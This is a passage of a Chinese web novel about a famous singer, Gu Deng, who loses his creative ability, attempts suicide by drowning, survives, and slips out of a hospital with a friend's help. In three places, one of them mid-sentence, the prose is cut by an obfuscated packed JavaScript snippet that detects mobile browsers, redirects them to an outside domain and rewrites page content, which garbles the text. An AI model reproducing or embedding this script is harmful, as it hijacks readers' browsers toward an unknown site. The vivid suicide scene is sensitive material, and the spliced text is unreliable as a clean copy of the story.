当时那个高赞的评论说,那是因为你只是享受,没有创作和输出,时间久了自然就无聊了。 当时的顾灯还很庆幸,心想他比大多数人都要幸运,早早就选择了创作这条路,不用再烦恼这些问题。只要他还在写歌,他就拥有自我价值,不会感到虚无。 直到有天,他发现自己写不出东西了。 这种发现不是瞬时的,而是经历了一个漫长的时期。就像是衰老剥夺人的健康、好奇心、专注力,上天也以这种缓慢又残忍的方式,逐渐剥夺了他的才华、灵感和创造力。 起初顾灯并没有在意,乐评人和歌迷也没有察觉,直到一年过去,顾灯没能写出任何东西。 这对顾灯来说是不可能的事情。 从他12岁出道一直到25岁的鼎盛期,就算是开演唱会,顾灯也雷打不动一年出一张专辑,状态好时甚至可以出两张。他也经常在社交平台发各种demo,即兴演奏。 那时音乐对他来说就仿佛和呼吸一样简单,他天生就有一副好嗓子,再加上极强的创造力,随便玩玩就能写出大家喜欢的音乐,《宇宙糖》他甚至只花了5分钟就写出来了,至今还是打榜情歌人气榜第一。 那时的他年轻气盛,以为生活会永远闪耀快乐。直到第二年,他依旧没能写出东西,就算勉强写出来也不对劲,怎么看都不对劲。 圈内好友评价他对自己要求太高,可顾灯完全不觉得,在他的标准里,这堆东西就是垃圾,他不会容忍这些东西以他的名义发出去。 又有人建议他停下来好好休息,顾灯照做,却引发了更大的焦虑。因为他发现自己根本就停不下来。就算他强迫自己停下,脑海里也充斥着各种旋律。 顾灯以为自己只是在瓶颈期,直到私人医生在他体检单上加了项心理评估——他竟被查出了重度抑郁。 这个结果完全出乎顾灯意料。 周围的人毫无头绪,顾灯不知道问题出在哪里。虽然他小时候是被收养的,但收养他的是他亲姨妈,对他也一直客客气气,没有任何偏心虐待之举。他没有遭遇过重大打击,也没有经历过勾心斗角的职场环境。 他出名又有钱,只不过是写不出来东西,怎么就重度抑郁了呢? 确诊头一年,顾灯完全无法接受自己有了抑郁,他还在认真生活,积极配合治病。却没想到一年后,他又被确诊为双相障碍。心理医生解释之前的抑郁症是误诊,因为双向障碍有很强的误导性,病人大多只会在抑郁期求医。 双相就双相吧,他已经无所谓了,而且顾灯还挺喜欢轻躁狂发作的感觉。 顾灯又治了半年,连心理医生都说他状态好转,可奇怪的是,他还是写不出东西。顾灯又以为这是药物影响,他偷偷停了三个月的药,还是只能写出一堆垃圾。 从发病后到确诊,他努力了整整四年。可最后却发现,他再也写不出任何东西了。 完蛋了。 顾灯的天塌了。 写不出歌的歌手还是歌手吗?不当歌手的他还是顾灯吗? 不是了,一旦他停止创造,属于他的意义就消失了。 顾灯被一股巨大的无意义感击溃,无法享受,也无法停止,除非他再次写出自己满意的歌曲。 章离离开后,顾灯又熬了个大夜。他看着漆黑的大海,试图回忆起灵感充沛的曾经。可直到天边泛白,他依旧没能写完那首歌曲。 至此,他终于放弃。 他又想,世界是公平的,这些年来他凭借创作脱颖而出,收获了无数喜爱和荣誉。但终于,也被老天爷一点点收了回去。属于他的赦免消失了,他也开始和世间大部分人一样,变得痛苦、迷茫又彷徨。 第二天,顾灯买下了一艘皮划艇,说自己要去远途旅行。房东大叔很热情,还送了他两根香蕉让他路上吃。 顾灯又去了那个峡湾,峡湾依旧纯净静谧,但这次没有鲸鱼和章离。 他关掉发动机,用大海和冰川隔绝一切人类踪迹,置身其中,会让人感到一股巨大的震撼和孤寂。但顾灯不怕,他喜欢这样待着。只有当他独处时,他才是完整的自己。 顾灯躺在皮划艇上,看着夕阳从海面坠落,然后头顶升起满天繁星。微凉的海风穿过他身体,仿佛一只无形的手安抚着情绪。 真好,临近生命结束,他似乎又拥有了感受美好的能力。 顾灯闭上眼,跳进海里。 入水时很冷,可很快他便感到一种难以言喻的温柔。海水温柔地包裹他,像是回到了母亲的子宫里。 他想,他马上就要死了。那些开心的、难过的、痛苦的情绪都将消失,他不会再看见今天这样温柔的日落,不会再听见大海深处响起鲸鸣。音乐、美食、猫咪小狗,钢琴、贝斯、吉他和鼓,山川、大海、太阳月亮,还有他的思想,他的品味,他的创作……什么都没有了。世间所有都将随着他的死亡而消失。他再也无法发出声响,甚至唱不出一个音符,他的痛苦无人知晓,他的欢乐无人感受。一切意义都将消融,一切存在都会灰飞烟灭。世界在此刻坍塌,化为虚无。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15463574|169754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想到这里,顾灯突然有点儿伤心,心跳也开始加剧。氧气消耗增多,他开始感到痛苦。 可为什么要是他呢? 为什么要让他在小小年纪就接触音乐,让他再也无法做别的事情呢? 从7岁时第一次登台唱歌,到29岁决定结束生命,他人生四分之三的时间都和音乐绑定,音乐陪他长大,也让他实现了人生价值。 人人都说上帝偏爱他,可为什么,又要让他在最鼎盛时期再也写不出任何东西? 最初丧失灵感的那几年,也有人劝他写不出歌也没关系,你现在名利双收,完全可以去做别的事情。世间那么多人比你穷比你苦,还不是在挣扎着活下去?你怎么就不行呢? 是啊,他怎么就不行了?顾灯也试图这样安慰自己,可他很快就发现这种假设毫无意义。他不能没有音乐,一旦放弃音乐,他就不再是他自己。 他死磕了四年,撕碎无数手稿,一遍遍自我怀疑,还是无法回到曾经。 其实他早该明白,当他把一切都寄托于音乐时,就应该明白这是把双刃剑,一旦他哪天写不出来歌,他就完蛋了。可人在幸福时很难反思自己,他被这绚烂的幸福迷晕了眼,以为自己是特殊的,以为这种天赋源源不断,绝不终结。直到光环褪去,才发现原来他也只是一个普通人。 真可笑,都到了这种时候,他竟然还会感到不甘。 是啊,难道他就要这样死掉吗? 不然呢?除此以外,你还能在哪里找到安宁? 想要呼吸的欲望更强了,求生本能涌向他的神经。可顾灯只是屏住呼吸,放任身体往大海深处沉去。心跳变得更缓了,血液开始往心脏和大脑聚集,顾灯逐渐感到身体麻痹,大脑中开始出现幻觉。 他想,这就是传说中的走马灯吧。 他这一生也算波澜壮阔,登上过高峰,也经历过低谷。可奇怪的是,临死之际,他却想起了高中的一个普通午后。 那时他早已大红大紫,却也和每一个普通的学生一样,坐在拥挤的教室里背古文。 和大部分高中生一样,当时的他也不能完全理解这段古文的含义。但他是个好学生,他会听老师的话,好好记下这些。 他背下的……是什么呢? 氧气消耗加剧,顾灯开始感到孤独、痛苦、无助,几乎无法继续思考下去。 他清晰地意识到,死亡马上就要来了。 就在这时,远处突然传来一阵诵读声: “古者富贵而名摩灭,不可胜记,唯倜傥非常之人称焉。盖文王拘而演《周易》;仲尼厄而作《春秋》;屈原放逐,乃赋《离骚》;左丘失明,厥有《国语》;孙子膑脚,《兵法》修列;不韦迁蜀,世传《吕览》;韩非囚秦,《说难》《孤愤》;《诗》三百篇,大底圣贤发愤之所为作也。”① 那些早已面目模糊的高中同学,夹杂着十几年前顾灯自己的声音,穿过时空抵达了这里。 背下来的整整十年里,顾灯都没法儿理解这段话的含义。他当时太年轻,也太顺遂,不知道这段文字里的痛苦意味着什么,也不知道先贤们忍受这些痛苦,需要多大的决心和意志力。 他只是记住了这段话。 又在十几年后从鼎盛跌入低谷,恰好和这段文字实现了共鸣。 原来早在两千多年前,就已经有这么多人和他有同样的遭遇。他不是孤单一人,这世上还有人和他一样痛苦,迷茫,不知所措。 浑厚的海水包裹着他,仿佛一个无形的拥抱。 肺部的氧气更少了,连大脑也开始变得迟钝。浓稠的黑暗中,顾灯猛地睁开眼睛——原来他不是真的想死,他只是不知道该如何活着。 顾灯拼劲全力游向海面,可周围一片漆黑,根本不知方向在哪里,他只是凭借本能往上游去。 嘴巴和鼻腔溢出一连串小泡泡,这是氧气被带走的证据。海水挤压着他,渴望呼吸的痛苦加剧。又一个泡泡像小鱼一样溜走,他终于呼出了身体里的全部空气。 顾灯漂浮在黑暗的海水中,感到了一股强烈的恐惧。 曾经他觉得死亡是解脱、是安详,能给他带来平静。直到现在他才发现,原来死亡还是痛苦,是掠夺,是一种毁灭。 他出现了短暂的晕厥,再次恢复意识时,他听见了一阵海浪声。 顾灯拼尽全力朝着声音方向游去,此时他的身体已经没有储存任何氧气,肺、心脏、大脑也濒临罢工,只有身体还在机械性运动。 他不想死,他还不想死在这里! 顾灯“哗”地一声钻出水面,像初生婴儿那样大口地呼吸。 星星消失了,可东方传来光亮,太阳即将升起。 大海和冰川在晨曦中逐渐显形,顾灯爬上橡皮艇,感到了一股强烈的不知所措和欣喜。他第二次获得生命。 7. 行踪暴露 天边的云彩越来越浓,逐渐把冰川染成浪漫的粉紫色。然后太阳升起,平等地照亮每一寸土地。 顾灯一件件脱掉湿透的衣服,赤.裸身体在阳光下吃香蕉。 一整天没进食,他早已饿得前胸贴后背,第一个香蕉吃完都没尝出味儿来,又立刻拿起了第二个。他开始注意到香蕉的形状,颜色,纹理和气味。 香蕉其实是一种非常质朴的水果,方便携带也易于食用。果肉香甜绵密,余味有点儿涩,所以催促人去咬下一口。当整条香蕉都吃完时,顾灯会感到一种质朴的幸福。 顾灯收起果皮,坐在船上继续晒衣服。他觉得周围的一切都新鲜极了,水是冷的,冰是凉的,皮肤是滑滑的。听起来有些不可思议,可他已经很久没有这种具体的感觉了。 他精神放松,逐渐睡了过去。醒来时太阳已经升到头顶,顾灯穿上半干的衣服划船返程。 不知是不是太热,不一会儿他就热出了汗水,顾灯拉开冲锋衣继续划船。可他还是觉得热,太阳晒得他头晕目眩。口渴,想要喝水。 这才4月,按理说不应该这么热才对啊。顾灯舔了舔干涩的嘴唇,又伸手摸了下额头,才发现他是发烧了。 顾灯用水拍湿脸颊,咬牙继续朝岸边划去。太阳越来越大了,他额头渗出密密麻麻的汗液,双手因为划船变得酸软,喉咙干涸,让他不停地舔舐嘴唇。 远方群山高耸,小镇在山脚下变成一条短线,顾灯机械性地转动双手,朝着小镇一点点挪去。 又过了一个小时,皮划艇终于触碰到柔软的沙滩。顾灯丢开船桨站起来,突然头晕目眩,身体跟着栽进了沙滩里。 他度过了一段混乱的梦境,被丧尸追,被狗咬,反复从天台上往下跳。 再次睁眼,顾灯看见了医院冷白的天花板。床边坐着一个穿西装戴眼镜的年轻男人,正低头看手里的平板电脑。 顾灯刚动了下手指,男人便放下平板过来说:“你醒了?” 顾灯张嘴,声音哑得不像话:“哥,你怎么来了?” “你晕倒的视频上了热搜,我离得近就先来了。妈和你经纪人在飞机上,大概还有2个小时落地。” “哦。”顾灯没再说话,似乎有些累了。 又过了一会儿,他又说:“对不起,给大家添麻烦了。” “臭小子,你知道就好,”周必弹了下他额头,语气倒是听不出有多生气,“知不知道你一声不吭就跑到这里,妈有多担心?” 周泽是典型的北京男孩儿,自信热情又大方。顾灯第一次见到周泽时,是他父母过世后2个月,那时他跟随姨妈北上,初来乍到,整个人惶恐又彷徨。 他刚在客厅里坐了一会儿,就有个男孩儿抱着天文望远镜推门进来。男孩儿约莫十来岁,穿着北京天文馆的文化衫,戴着棒球帽,先冲到冰箱里喝了半瓶汽水,回头看见沙发上的顾灯,突然哟了一声,满脸好奇:“这就是我那个老家来的小表弟?” 顾灯被吓得往沙发角里缩,周必便哈哈大笑起来,还说他活像只猫。 晚上大家一起吃了顿饭,顾灯就这样安在姨妈家顿了下来。 他是正经办了收养手续的,又过了一个月,顾灯改口叫姨妈姨父爸妈,也开始直接叫周毕哥。 当时的顾灯和姨妈并不怎么熟悉,只知道姨妈是当年的高考状元,后来一路读研读博,在北京的大学里当老师。 据说她生周必时只有25岁,一边准备研究生毕业论文,一边待产,还要准备申请博士。放到普通人身上,这桩桩件件都是大事,可她竟然同时完成了。 姨父也是大学教授,周必继承了二人的基因,打小就聪明。而且他不是那种埋头苦学的书呆子,在顾灯看来,周必主业就是玩耍,什么去动物园研究大熊猫,参加天文馆夏令营,大半夜不睡觉,一个人骑自行车到门头沟看星星。可奇怪的是,他每次考试都能考第一,回回都能刷新奥赛成绩。 周必偶尔也带顾灯一起玩儿,他那个年纪已经有了善恶心,自然愿意照顾这个可怜巴巴的小弟弟。可惜他们年龄差太多了,见识和体力都不匹配,顾灯虽然懂事,但在一群大男孩儿面前就是个小累赘,再加上顾灯也表现得不是很积极,兄弟俩也就各玩各的了。 周必玩了整个童年和高中时期,直到十八岁出国念书,又一路从研究生念到博士,随后深耕科研,现在是麻省理工学院数学系教授。 这些年来,顾灯和周必都在忙工作,也就逢年过节见一见。现在周必为他特意跑一趟,他还挺不好意思的。顾灯本想说点儿好听的话,又一时间找不到合适的表达,只得尴尬地沉默着。 过了一会儿,一个护士进来说了什么,周必刚听了个头就和护士出去了。大约一分钟后,又回来对顾灯说,他要出去处理些事情,大概十几分钟就回来。 “去吧,我没事儿的。”顾灯说完重新躺下,迷迷糊糊地闭上了眼睛。 不知过了多久,门口传来一阵脚步声。 “哥?”以为是周必回来了,顾灯睁眼睛,却看见了一个陌生的男人。 男人把手机摄像头对准他,很兴奋地朝屏幕里说:“老铁们,说到做到,我这次真是冒着被抓的风险,千辛万苦才潜进大明星顾灯的病房,要你们一个赞不过分吧?感兴趣的老铁也点个关注哈!” 顾灯脸色一变,迅速拉起被子遮住脸,同时按下呼救铃。 男人却没有就此离开,而是伸手扯他被子,又把脑袋凑过来要和他同框。 顾灯死死抓着被子,把所有尖叫都咽下去,只在心里一遍遍默数。当他数到44时,主播尖锐刺耳的声音终于消失,一只大手按在他头顶。 “没事吧?”周必掀开被子一角,说,“哥回来了。” 顾灯没有说话,但也没松开双手。又过了十几秒,当他终于确认安全,才钻出脑袋说没事。 他又问:“刚才是怎么回事?” 周必说:“你住院是被网友爆出来的,你经纪人已经撤了帖子,但还是有不少媒体和网友追到了这里。” “你刚才下去就是处理这件事?” “嗯,没想到被人混了进来,”周必拉了张椅子抵在门口,大马金刀一坐,“从现在起我就坐在这儿,谁也别想进来。” 顾灯似乎是笑了下,说:“要不要这么夸张?” 周必:“那必须的。” 顾灯其实不太喜欢这种被看守的感觉,仿佛又回到了他生病的那段日子里。但他也知道周必是为他好,便做出一副受用的表情。 “哥,”顾灯问周必,“如果以后你不研究拓扑学了,你打算做什么?” 周必:“我不会不研究。” “那假如呢?”顾灯说,“如果你因为某些客观原因不能继续研究,那你打算做什么?” 周必沉默了一会儿,说:“我不知道。” 顾灯有些意外:“你也不知道啊?” “我为什么要知道?”周必笑了,“我又不用操心这种问题。” “哦。”顾灯也意识到了,自己的假设没有意义。 “但如果真有那么一天,”周必说,“可能我也会和你做一样的事情。” 顾灯惊讶地抬起头。 “很意外吗?”周必问。 顾灯摇头,有些不知道该怎么回答:“不是,我就是……” “公路电影里不都这么演吗?主角因为工作生活或者情感失意,说走就走,在旅行中重新找回生活的勇气。” 顾灯低着头没有回答。 周必又问:“你呢?这一路有没有遇见什么人?发生什么有趣的事情?” 顾灯呆了一会儿,突然开始低头翻身上的口袋。可他穿着医院的病号服,里面没有任何东西。 “哥,我外套呢?” “在这儿呢。”周必把冲锋衣递给他。 顾灯拉开口袋一看,却只掏出了一团软趴趴的废纸——纸张早已被海水泡烂,地图变得模糊不清,他失去了章离的联系方式。 “怎么了?丢东西了?”周必伸手在他眼前晃了晃。 “没事儿,”顾灯吸了吸鼻子,摇头说,“反正也不是什么重要的东西。” 顾灯躺在病床上,这一瞬间想了许多问题。 首先,也是最重要的,他打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15463575|169754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 算继续活着。 其次,也是最困难的一个问题,继续活下去,就会继续承受痛苦。既然他的痛苦来自于写不出歌,那不如干脆放弃。放弃音乐,放弃写歌,放弃创作,痛苦自然也就消失了。 可如果不写歌,他又还能做什么事情? “嗡嗡——” 手机振动声打断了他的思绪。 “妈?”周必接通电话,说,“你们已经落地了?……我在医院,小灯看起来还不错,就是发烧了,还有点儿贫血,现在情况已经稳定了。……行,那我等你们过来啊。要不要先和小灯聊聊?”周必抬起头,把手机递给了顾灯。 顾灯犹豫一会儿才接过,冲电话那头喊妈妈。 “听说你生病了,严不严重?” “不严重,就是发烧而已。” “自己这么大了,要保重身体。” “嗯,我知道。” “你经纪人也在我旁边,是她告诉我你在这里,来的路上也一直在处理你的事情,她其实很担心你。” 顾灯低下头,小声说:“对不起。” “你有空道歉,不如振作起来收拾这堆烂摊子。”一道清脆爽利的声音响起。 顾灯和沈青岚认识十几年,早就摸清了双方的脾气和秉性,张口就来:“这点儿摊子算什么,都不用岚姐亲自出手,你指导小米处理就行。” 小米是工作室2年前新招的助理,大学刚毕业,主打一个清澈愚蠢。 “又贫嘴,”沈青岚笑骂,又说,“看你这么生龙活虎我就放心了,好好休息,我们半个小时后到。” “好。”顾灯点头,很是乖巧。 “听周必说医院门口聚集了不少粉丝,你先想想,等会儿要不要露面,我不干涉你的决定。” “谢谢岚姐,我知道了。”顾灯说完挂断电话,把手机还给了周必。 “终于要来了,”周必伸了个懒腰,也跟着松了口气,“说实话,外面你那堆狂热粉丝,靠我自己还真搞不定。” 顾灯没有说话,过了一会儿突然问:“哥,能帮我买身衣服吗?我不想穿这个见她们。” 周必笑了:“都是一家人,你别扭个什么劲儿?” 顾灯:“你就当我有偶像包袱吧。” 顾灯也是个大明星,衣品确实不错,还是什么奢侈品牌的全球代言人,让他穿病号服确实有些委屈了。 周必点头:“买衣服倒是没问题,可我怕离开这里,又有人闯进来。” 顾灯:“这是私人病房,你走了后我把门反锁就行。” “那也行。”周必又仔细问顾灯要穿什么类型,才拿着手机出了门。 一秒、两秒、三秒……十秒钟后,顾灯立刻从床上爬起来,单手扒掉输液针,又留了张手写纸条,穿着脏衣服就往外面跑。 他走得干脆,却在医院门口猛地停了下来。门外亮起了一排小夜灯,每一盏灯光背后,都是一张忧心忡忡的脸。 这么偏僻的地方,竟然能在短期内聚集这么多人。虽然也有网红闯进他病房,但顾灯能看出,更多还是担心他的普通人。大家都在关心他,他不该这么不负责任的离开。 可……可他已经四年没出专辑,甚至以后再也写不出任何东西,他还有资格再得到大家的关心吗? 顾灯隔着玻璃注视着人群,然后转身往相反的方向走去。 他费了些力气才离开医院,却没想到竟在停车场遇到了经纪人她们。顾灯下意识缩到了车后,可医院规模不大,停车场也空旷,这边有经纪人,那边就是歌迷,顾灯环顾四周,竟发现自己无处可去。 “滴——” 停车场角落突然响起一道喇叭声。 沈青岚抬头看了眼,发现是一辆改装皮卡,北美地区常见的车型,车和人她都不认识,于是转身朝医院走去。 顾灯躲在角落,心脏却猛地跳动起来,他心中有个猜测,可是又不敢细想。 不能够吧?章离怎么可能出现在这里? 顾灯毫不犹豫转身离开,头顶却传来一道熟悉的声音:“上车。” 车窗降下,顾灯看见了章离。 8. 逃避有用 顾灯躲进副驾驶,直到看见经纪人离开,这才抬头:“你怎么过来了?” “我在网上看到你住院,过来看看。” “那你怎么不上去?” “周必不让我上去。” “你们认识?”顾灯有些意外。 “我是他们学校的客座教授,有一些交集。” 顾灯表情警惕起来。 “我不知道你们是兄弟,”章离说,“要是我和他有联系,也不会被拦在这里。” 顾灯沉默了一会儿,似乎相信了他的说辞。 章离发动引擎,问顾灯:“你要走还是?” “走,”顾灯说,“先离开再说。” 顾灯其实没想好要去哪儿,让章离先随便开。皮卡车围着小镇转了一圈,顾灯还是没想好要怎么办。 一直在镇上逛反而很奇怪,章离建议先找个地方先坐下,顾灯同意了。不久后,皮卡车停在海边的一家小店旁,推门进去,里面放着密密麻麻的书籍。 守店的是位老奶奶,笑着说:“你怎么过来了?” 章离:“带朋友来看看。” 奶奶:“还是老位置?” 章离点头,带顾灯上了二楼。 楼下是一间紧凑的书屋,没想到二楼竟有一大片落地玻璃,窗户框住冰川和大海,赫然一副天然的挂画。窗户前放着三张小木桌,等人落座。 这座楼建得太巧妙了,风景和品味都是顶级。就是位置太过偏僻,还没火到ins和小红书。 顾灯和章离在床边坐下,奶奶端来两杯咖啡,还有一小盘赠送的蓝莓树莓混合果干,说是她们去年秋天自己在野外采的。 顾灯礼貌地尝了下,听见章离问:“要我下去吗?” 顾灯有些意外地抬起头,感激道:“麻烦了。” “行,”章离端起咖啡起身,“我下楼查点儿资料,你有事叫我。” 顾灯松了口气,又对章离说谢谢。 章离离开后,二楼就彻底安静了下来,但也不是完全的寂静,玻璃窗开了一扇,能听到外面的海浪声和海鸥声。 顾灯就坐在窗户前,像个普通游客一样慢悠悠的喝完咖啡,又把果干也吃干净,这才分析起当下的情境。 虽然有些愧疚,但顾灯并不后悔当时离开医院。他知道别人都是关心他,但身体的反应比想象中更诚实,他不想待在那样的环境里。 一想到要在母亲面前装没事儿,要配合经纪人处理那一堆烂摊子,还要面对心理医生的重重询问,顾灯就会感到窒息。 可直接消失,他也做不到这么决绝。 有了家人、经纪人和粉丝的支持他才有了今天的成绩,要是拍拍屁股就走人,未免也太过决绝。 顾灯叹了口气,有些头疼地想,要是他当初没晕倒就好了,哪怕是变成一只动物,一张桌子,也好过面对今天这种困境。 黄昏时,章离再次上楼。 顾灯正看着窗外的大海发呆,看见章离上来,立刻露出了可怜巴巴的表情。 章离:“还没想好?” 顾灯摇头:“毫无头绪。” 他绞尽脑汁,都想不出来一个让双方都满意的方案。 “那先吃饭。”章离递来一张菜单,让顾灯选更喜欢哪个套餐。 顾灯随便指了一个,单手撑下巴看着章离。 “还有别的?”章离抬头问,因为是起身时做的这个动作,所以拉近了双方的距离。 顾灯没有回答,只是继续看着他。章离天生就长了一副食欲旺盛的样子,大浓眉、高鼻梁、双眼皮,嘴唇偏厚,人中明显,下颌线也很鲜明——章离五官相当肉.欲,只是平时气质凶冷,压过了这种原始的感觉。 顾灯突然问:“你是不是三餐都很规律?” 章离抬眉:“你不是?” 顾灯当然不是,他三餐可太不规律了。作息颠倒,暴饮暴食,又或者一天只吃一顿,活得潦草又随意。 章离试图理解顾灯这么问的原因,问:“你不想吃晚饭?” 顾灯确实没什么胃口,可又觉得吃点儿也没关系。 “没,”顾灯摇头,“我就是有点儿好奇,你就没有压力大,或者感到焦虑的时候吗?” 章离停下动作,沉默了一会儿才说:“我有。” “那你怎么解决的?” “我的方法不适合你。” “哦,那算了吧。”顾灯点头,语气倒也听不出失落。 章离却在他对面坐了下来,说:“你遇到麻烦了?要我帮忙吗?” 顾灯有些想笑,随口问:“你能帮我什么啊?” 章离:“什么都行。” 顾灯这下是真笑了,摇头说:“我的问题你解决不了,我自己都不知道我有什么问题。” 章离看了他一眼,没再出声。 顾灯感觉有点儿尴尬,他不想气氛太沉重,又主动挑起话题:“我们在这儿吃?” “是。”章离说完,拿着菜单离开了。 晚餐来得很快,上桌时太阳都还没落山。顾灯食欲一般,吃了四分之一就饱了。 章离迅速解决完食物,抬头问:“你不吃了?” 顾灯说是,又有些懊恼地补充:“忘了少点一些。” “这里只卖套餐,你少点也没用。”章离说完,朝顾灯伸出右手。 顾灯:“?” 章离点了点餐盘,说:“给我吧。” 顾灯脑袋都没反应过来,就已经把东西递了出去。章离餐盘,继续吃里面的东西。 顾灯终于反应过来,然后就是尴尬。 他从来不会干这种事情,让别人吃他剩饭什么的……可章离的表情太自然了,没有一点儿强迫或者嫌弃的意思。又或者是他只是单纯地珍惜粮食?毕竟章离常年在野外活动,肯定对食物有更深的感情……吧? 嗯,应该就是这样而已。顾灯喝完半杯水,也调整好了自己的心情。 章离吃完东西,又主动收拾桌子,拿着餐盘下了楼。 门外有游客好奇张望,明明还是营业时间,店里也有人,怎么就挂上了“CLOSE”的牌子。 有人隔着玻璃询问,老奶奶就说今天有事闭店啦,请明天再来吧。 章离把餐盘放进洗碗机,说:“谢谢您。” 奶奶摇头,笑着摆手说:“你帮我们这么多,这点事不过小菜一碟。” 章离端着两杯热水上楼,发现顾灯从座位走到了楼梯口。 “抱歉,我刚才不该说你帮不上忙,”顾灯侧身让章离过,又说,“你来医院看我,把我从医院接走,又给我找了这个安静的地方,你其实已经为我做了很多。” 章离听他说完,摇头说没事。 沉默了会儿,他又说:“我那个方法,你确实没法儿做。” 顾灯点头:“嗯,我知道。” 这件事就算说开了,章离把水杯放到顾灯面前,顺势坐下了。顾灯捧着杯子,说了声谢谢。 没人再说话,但奇怪的是顾灯并不觉得尴尬。对顾灯来说,这是一件很难以置信的事情,毕竟他们刚才还差点儿闹不愉快,现在又能安静地坐在一起喝热茶。 顾灯又开始思考这个问题,为什么他在章离面前不会感到压力? 是因为旅行特殊环境加成?好像也不是,他之前也旅游过,但很难彻底放松。 或者是因为他们萍水相逢,所以他不用在乎章离如何看待自己?毕竟章离不是他粉丝,而且早就见过了他狼狈的样子。 可顾灯也不觉得全是,他感觉,章离身上有一股神奇的特质,他的体型、性格、举止,让他看上去就像一只巨大的玩具棕熊,温暖而柔软,会耐心地听孩子入睡前的喋喋不休。 “那个……”顾灯食指摩擦着水杯,试探地开口。 “嗯?”章离已经抬起了头。 “你应该也知道一点我的情况吧?”顾灯组织着语言,说,“我遇到了一些问题,本来打算消失一段时间,等想清楚了再和大家交代。没想到突然晕倒上了热搜,让这么多人大老远飞过来。但其实我还没准备好和大家见面,可就这样消失也不行,他们千里迢迢过来,我不想让人伤心。” “我听懂了,”章离点头,说,“你现在的情况是不想见他们,但也不想直接失踪。进一步说,你其实是想让大家理解你的处境,然后给你留出一段时间独处。同时,也尽可能不损害你们之间的感情。” 很准确的总结,顾灯点头:“是这样。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15463576|169754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 章离:“你如果不想露面,那么在社交软件上表达呢?” 顾灯想了想,说:“方法没问题,但我微博是经纪人在管,我登不上。” 倒也不是经纪公司限制他,这个账号最初就是岚姐运营。顾灯出道时太小了,12岁的漂亮小男孩儿,私信简直不堪入目。为了保护顾灯,微博一直是岚姐在打理,只有二人见面,岚姐才会允许顾灯自己回一些评论。 顾灯自己也有小号,各种梗玩得飞起,倒也不觉得有什么限制。 直到成年后,顾灯才彻底接管了自己微博,偶尔他被黑子攻击,也会把微博交给岚姐打理。 因为他有个被工作室成员广为诟病的弱点,他至今依旧接受不了别人对他的恶意。 公众人物不可能没有黑粉,顾灯虽然是原创歌手,可他长得好看啊,一下就大火了,粉丝多了,无可避免会吸引黑子。 偏偏顾灯又怂又敏感,他不敢看恶评,真看了又会被气哭。最搞笑的一次是他一边哭一边和黑子理论,结果还被黑子拉黑,岚姐一边心疼一边怨他不争气。 但顾灯朋友严静不同,他会逼着自己看,尤其是看那些骂得最狠、最脏的,强迫自己脱敏。看了还不算,严静甚至会亲自下场,和黑粉大战三百回合。 外界都说静哥哥真猛,是华语歌坛反黑第一人。顾灯也曾经这样打趣过他,当时严静还笑着说:“骂不过的黑子转给我,我来帮你骂!” 可顾灯也碰见严静在洗手间里哭,原来这么强大的人,也没法儿完全消化网上源源不断的恶意。 自那以后,顾灯就对恶评看开了。对于这部分不喜欢他的人,他也不再执着辩解,而是选择忽视,物理远离。 后面就是工作室和他一起打理账号,直到顾灯创作瓶颈,又被查出生病,他不敢看歌迷的询问和期待,又把账号交给了工作室。 顾灯再次登录微博是一个月前,当时他住在热带别墅里治疗抑郁,岚姐来看他时,顾灯说想和歌迷们聊聊天。当时岚姐手下还带着别的艺人,顾灯四年不干活儿可以,但工作室团队都要人养活。 岚姐签了两个老牌艺人,又带了几个新人,成绩都还不错,越发忙碌了,逐渐忽略了顾灯。也因岚姐心有愧疚,没有犹豫就把密码给了顾灯。 结果她万万没想到,顾灯拿到微博第一件事,竟然是宣布退圈,然后彻底消失。 有过这样的前科,顾灯是不可能再有机会登录。可他不想和她们碰头,甚至连打电话都觉得有压力,从社交软件上传递消息自然就不行。 章离却说:“大号用不了,那申请小号呢?” 顾灯觉得这是个办法,但很快又觉得不行,摇头道:“小号谁能看到?而且就算看见了,也不会以为我就是顾灯。” “加上照片呢?”章离问,“你介意吗?” 他的照片?他现在状态这么差,被看到了多尴尬啊? 可又确实没有别的方法了,顾灯沉默了一分多钟,终于点头说:“只是照片的话,也可以。” · 顾灯失踪后,沈青岚几乎把医院翻遍了,直到报警后查看监控,才发现是顾灯自己跑出了医院。 警察不管离家出走,沈青岚只得自己派人找。 她这趟来得匆忙,美签也不好拿,只带了零散几个人过来。现在这些人一半被她分去处理舆论,一半四处找人,就连顾灯母亲和哥哥都没闲着。 可还是找不到人,小镇就这么大一点儿,顾灯就跟人间蒸发了似的。 